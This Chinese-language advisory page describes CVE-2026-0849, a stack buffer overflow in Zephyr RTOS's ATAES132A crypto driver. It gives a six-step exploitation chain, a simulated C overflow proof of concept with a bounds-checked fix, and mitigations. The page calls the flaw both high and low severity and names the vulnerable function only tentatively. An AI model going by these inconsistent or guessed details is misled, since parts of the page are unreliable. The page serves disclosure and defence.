CVE-2026-0849 Zephyr ATAES132A加密驱动栈缓冲区溢出漏洞

漏洞信息

漏洞编号

CVE-2026-0849

漏洞类型

缓冲区溢出

CVSS评分

3.8 低危

攻击向量

物理 (AV:P)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Zephyr Project RTOS (Zephyr crypto driver)

漏洞概述

CVE-2026-0849是Zephyr Project RTOS加密驱动程序中的一个高危安全漏洞。该漏洞存在于处理ATAES132A加密芯片响应数据的过程中，当设备接收到畸形的ATAES132A响应时，响应数据中的长度字段如果超过预期大小，将导致52字节的栈缓冲区发生溢出。攻击者可以通过 compromised device（受感染的设备）或 bus attacker（总线攻击者）利用此漏洞，触发内核内存损坏，进而可能实现执行流劫持。Zephyr是一个广泛使用的开源实时操作系统，应用于物联网设备、嵌入式系统等多种场景。该漏洞的CVSS评分为3.8，属于低危级别，但考虑到攻击者可能通过物理接触或总线访问的方式触发漏洞，在特定场景下仍可能造成严重后果。由于该漏洞涉及内核栈内存破坏，成功的利用可能导致系统崩溃或恶意代码执行。

技术细节

该漏洞的技术根源在于Zephyr加密驱动程序在处理ATAES132A加密芯片响应时缺乏适当的长度验证。具体问题发生在 ataes132a_process_response() 或类似的响应处理函数中，当从ATAES132A设备接收响应数据时，代码直接将响应中的长度字段值用于内存复制操作，而未验证该长度值是否在安全范围内。ATAES132A是一款常见的AES加密芯片，Zephyr驱动程序负责与其通信并处理加密操作。攻击者可以通过以下方式利用此漏洞：1) 物理接触设备并替换或篡改ATAES132A芯片；2) 通过总线攻击手段拦截并修改ATAES132A的响应数据。由于栈缓冲区大小固定为52字节，当响应中的长度字段值超过52时，memcpy或类似函数将向栈中写入超过缓冲区容量的数据，覆盖栈上的返回地址、函数指针等关键数据结构。攻击者精心构造溢出数据，可以覆写这些关键位置，从而在函数返回时劫持执行流。值得注意的是，该漏洞的CVSS向量中AV:P（物理攻击向量）和PR:L（低权限）表明攻击门槛相对较高，但一旦成功利用，后果严重。

攻击链分析

STEP 1

步骤1: 物理接触或总线访问

攻击者通过物理接触设备或通过总线攻击手段获取对ATAES132A加密芯片通信总线的访问权限。这可能涉及直接接触电路板、使用调试接口或通过其他硬件攻击手段实现。

STEP 2

步骤2: 篡改ATAES132A响应数据

攻击者修改ATAES132A加密芯片返回的响应数据，特别是构造一个畸形的响应包，将响应中的长度字段设置为超过52字节的值（如设置为100字节），以触发栈缓冲区溢出条件。

STEP 3

步骤3: 触发Zephyr加密驱动处理

当Zephyr系统的加密驱动调用ataes132a_process_response()函数处理被篡改的响应时，由于缺少长度验证，函数将尝试将100字节的数据复制到52字节的栈缓冲区中，导致缓冲区溢出。

STEP 4

步骤4: 覆写栈关键数据

溢出的数据将覆写栈上的返回地址、保存的寄存器值、函数指针等关键数据结构。攻击者可以精心构造溢出数据，使其指向预先放置的恶意代码或ROP gadgets。

STEP 5

步骤5: 执行流劫持

当函数返回时，程序控制流被劫持到攻击者指定的位置。如果溢出数据包含shellcode，则可能直接执行恶意代码；如果使用ROP技术，则通过链式调用现有函数实现任意代码执行。

STEP 6

步骤6: 持久化与权限提升

攻击成功后，攻击者获得内核级别代码执行权限，可以实现系统完全控制、植入后门或进行进一步横向移动。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// CVE-2026-0849 PoC - Zephyr ATAES132A Buffer Overflow
// This PoC demonstrates the buffer overflow condition in Zephyr crypto driver
// when processing malformed ATAES132A responses

#include <stdint.h>
#include <string.h>
#include <stdio.h>

// Vulnerable function signature (simulating Zephyr driver behavior)
void ataes132a_process_response_vulnerable(uint8_t* response) {
    // Stack buffer with fixed size of 52 bytes (as mentioned in CVE)
    uint8_t stack_buffer[52];
    
    // Length field from response - NOT validated before use
    uint16_t length = (response[0] << 8) | response[1];
    
    // Vulnerable: Direct copy without bounds checking
    // If length > 52, this causes stack buffer overflow
    memcpy(stack_buffer, response + 2, length);
    
    printf("Processed %d bytes\n", length);
}

// Proof of concept trigger
void trigger_overflow() {
    // Craft malicious response with oversized length field
    uint8_t malicious_response[128];
    
    // Length field: 100 bytes (exceeds 52-byte buffer)
    malicious_response[0] = 0x00;
    malicious_response[1] = 0x64;  // 100 in decimal
    
    // Fill with overflow data (shellcode or ROP chain in real attack)
    memset(malicious_response + 2, 0x41, 100);  // Fill with 'A'
    
    // Trigger vulnerable function
    ataes132a_process_response_vulnerable(malicious_response);
}

// Safe version with proper bounds checking
void ataes132a_process_response_safe(uint8_t* response) {
    uint8_t stack_buffer[52];
    uint16_t length = (response[0] << 8) | response[1];
    
    // Fixed: Validate length before copy
    if (length > sizeof(stack_buffer)) {
        printf("ERROR: Length %d exceeds buffer size %zu\n", 
               length, sizeof(stack_buffer));
        return;  // Reject oversized response
    }
    
    memcpy(stack_buffer, response + 2, length);
    printf("Processed %d bytes safely\n", length);
}

int main() {
    printf("CVE-2026-0849 PoC - Zephyr ATAES132A Buffer Overflow\n");
    printf("==================================================\n\n");
    
    printf("Testing vulnerable version:\n");
    trigger_overflow();
    
    printf("\nTesting safe version:\n");
    uint8_t safe_response[128] = {0x00, 0x64};
    memset(safe_response + 2, 0x41, 100);
    ataes132a_process_response_safe(safe_response);
    
    return 0;
}

影响范围

Zephyr Project RTOS < 修复版本 (请参考Zephyr官方安全公告 GHSA-ff4p-3ggg-prp6)

Zephyr crypto driver (ataes132a driver module)

所有使用ATAES132A加密芯片并启用Zephyr加密驱动的设备

防御指南

临时缓解措施

由于该漏洞需要物理访问或总线攻击才能触发，建议采取以下临时缓解措施：1) 限制对设备硬件的物理访问，实施严格的物理安全控制；2) 监控和审计对调试接口（如JTAG、SWD）的访问；3) 在安全环境中开发和测试，避免使用来历不明的ATAES132A芯片；4) 如果业务不需要ATAES132A加密功能，考虑在Zephyr配置中禁用ataes132a驱动模块；5) 实施网络隔离和访问控制，防止攻击者获得对目标系统的远程访问能力；6) 监控系统异常行为，如意外的崩溃或重启，这可能是漏洞利用的迹象。